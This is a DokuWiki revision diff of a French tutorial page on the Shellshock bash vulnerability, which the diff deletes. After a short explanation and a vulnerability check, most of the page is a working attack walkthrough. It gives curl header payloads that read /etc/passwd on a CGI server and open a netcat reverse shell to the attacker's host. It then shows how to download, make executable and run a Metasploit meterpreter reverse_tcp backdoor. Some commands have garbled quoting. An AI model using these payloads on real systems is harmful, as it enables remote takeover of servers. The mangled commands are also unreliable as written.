Ci-dessous, les différences entre deux révisions de la page.
appsysteme:bash_-_shellshock [2016/02/02 08:08] arkinar |
appsysteme:bash_-_shellshock [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | **ShellShock** | ||
- | {{ :appsysteme:shellshock1.jpg?nolink |}} | ||
- | |||
- | Qui n'a pas entendu parler de la faille shellshock ? | ||
- | |||
- | **Présentation :** | ||
- | |||
- | Shellshock, est une vulnérabilité logicielle présente dans le shell Unix bash. | ||
- | |||
- | La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde. | ||
- | |||
- | Elle est aussi appelé Bashdoor et a été découverte en septembre 2014. | ||
- | |||
- | __Explication__ | ||
- | |||
- | Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'exécution sont identiques à l'utilisateur, système ou non. | ||
- | |||
- | Le problème est que : | ||
- | |||
- | De nombreux programmes utilisent le shell par défaut pour passer des variables d'environnement entre leurs processus. Le contexte change : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants. | ||
- | |||
- | Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. | ||
- | |||
- | Voici un petite ligne de code pour voir si vous êtes vulnérable : | ||
- | |||
- | <code>env x='() { :;}; echo vulnérable' bash -c "echo ceci est un test"</code> | ||
- | |||
- | Si elle vous renvoi : "Vulnérable" | ||
- | |||
- | C'est que vous l'êtes. | ||
- | |||
- | source : [[http://linuxfr.org/news/une-faille-nommee-shellshock]] | ||
- | |||
- | **Exploitation** | ||
- | |||
- | Le principe est d'envoyer des commandes à distance dans les entêtes HTTP pour qu'elle soit interpréter par le serveur. | ||
- | |||
- | Commençons simplement : | ||
- | |||
- | <code>curl -H User-Agent: () { :; }; /bin/eject; http://mon_serveur_faillible.com </code> | ||
- | |||
- | curl est une commande linux permettant de forger des requêtes HTTP. | ||
- | |||
- | L'option -H permet de personnaliser l'entête HTTP avant qu'elle soit envoyées au serveur. | ||
- | |||
- | () { :; }; est le morceau de la commande qui permet de faire passer notre commande à la variable d'environnement /bin/eject permet d'ouvrir le lecteur cd du serveur vulnérable (je sais que c'est pas un exploit extraordinaire mais c'est un bon début. | ||
- | |||
- | Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject | ||
- | |||
- | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/ cat /etc/passwd; | ||
- | http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | |||
- | Cette commande quand à elle aura pour effet d'afficher le contenu de /etc/passwd de la machine distante. | ||
- | |||
- | L'option -A nous permet d’accéder au contenu de l'user-agent qui sera contenu dans la requête HTTP. | ||
- | |||
- | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /usr/bin/id ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | |||
- | Cette commande nous donne l'identifiant du compte sur lequel on exécute les commandes. | ||
- | |||
- | Pour prendre la main complète sur le serveur 2 options s'offrent à nous : | ||
- | |||
- | __La première avec Netcat__ | ||
- | |||
- | Netcat est un utilitaire permettant d'ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez : | ||
- | |||
- | <code>nc -l 333 </code> | ||
- | |||
- | L'option -l permet d'écouter sur le port 333 (c'est bien un L et non I majuscule) | ||
- | |||
- | Dans un autre terminal : | ||
- | |||
- | <code>curl -A ;() { :;}; /bin/nc -e /bin/sh http://mon_serveur/ 333; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | |||
- | Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'option -e | ||
- | |||
- | Vous avez désormais la main sur la machine avec les droits de l'utilisateur qui gère le web. | ||
- | |||
- | Source : [[https://www.youtube.com/watch?v=8H_bYZaXLko]] | ||
- | |||
- | __La seconde solution avec Metasploit__ | ||
- | |||
- | Pour cette solution nous aurons besoin du framework Metasploit et de Apache. | ||
- | |||
- | Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon bouquin dessus pour ceux que sa intéresse. | ||
- | |||
- | On va d'abord commencer par trouver un endroit où l'on peut écrire sur le serveur | ||
- | |||
- | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/ ls -al /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | |||
- | Généralement dans le dossier personnel de l'utilisateur avec lequel on exécute les commandes. | ||
- | |||
- | Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit. | ||
- | |||
- | Il permet de générer des payloads(exécutable qui va nous permettre dans notre cas d'établir la connexion inverse) | ||
- | |||
- | Pour le générer : | ||
- | |||
- | <code>msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4443</code> | ||
- | |||
- | Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits. | ||
- | |||
- | LHOST : LOCAL HOST : est votre adresse ip | ||
- | |||
- | LPORT : LOCAL PORT : est le port sur lequel votre machine va écouter. | ||
- | |||
- | Toutes ces informations nous les envoyons dans un fichier nommé lbdoor. | ||
- | |||
- | Démarrer votre service apache : | ||
- | |||
- | <code>/etc/init.d/apache2 start</code> | ||
- | |||
- | Copier le fichier lbdoor dans /var/www/ | ||
- | |||
- | Nous allons le télécharger sur le serveur de la vulnérable : | ||
- | |||
- | <code>curl -A;() { :;}; echo ;Content-type: text/plain; echo; /bin/ wget http://mon_serveur/lbdoor -P /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status </code> | ||
- | |||
- | On lui ajoute les droits d’exécution : | ||
- | |||
- | <code>curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/chmod +x /home/notre_user/lbdoor ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | |||
- | {{ :appsysteme:metasploit_shellshock.png?nolink |}} | ||
- | |||
- | On ouvre Metasploit : | ||
- | |||
- | <code>msfconsole</code> | ||
- | |||
- | On sélectionne le module qui nous permettra d’écouter les connexions entrante : | ||
- | |||
- | <code>use exploit/multi/handler</code> | ||
- | |||
- | On lui stipule qu'elle type de connexion il doit attendre : | ||
- | |||
- | <code>set PAYLOAD linux/x86/meterpreter/reverse_tcp</code> | ||
- | |||
- | On lui stipule sur qu'elle host il doit attendre la connexion : | ||
- | |||
- | <code>set LHOST 192.168.1.1</code> | ||
- | |||
- | On lui stipule sur qu'elle port il doit attendre la connexion : | ||
- | |||
- | <code>set LPORT 4443</code> | ||
- | |||
- | Et on exécute : | ||
- | |||
- | <code>run<c/ode> | ||
- | |||
- | Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. | ||
- | |||
- | A cette étape vous devriez avoir cela : | ||
- | |||
- | {{ :appsysteme:connexion_metasploit-3.png?nolink |}} | ||
- | |||
- | |||
- | Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable: | ||
- | |||
- | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | |||
- | Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé. | ||
- | |||
- | {{ :appsysteme:connexion_metasploit-2.png?nolink |}} | ||
- | |||
- | |||
- | Vous avez désormais accès à une session meterpreter sur la machine distante. | ||
- | |||
- | Si vous souhaitez obtenir un terminal , il vous suffis de taper "shell" | ||
- | |||
- | {{ :appsysteme:meterpreter.jpg?nolink |}} | ||
- | |||
- | L'outil meterpreter est puissant il embarque toute une multitude de code pour le post exploitation. | ||
- | |||
- | Pour plus d'info un site que je recommande [[http://sitedugaci.com/30/4/tutoriel/chapitre/meterpreter.html]] | ||
- | |||
- | Source :[[ https://www.youtube.com/watch?v=R3rs8hdXqso]] |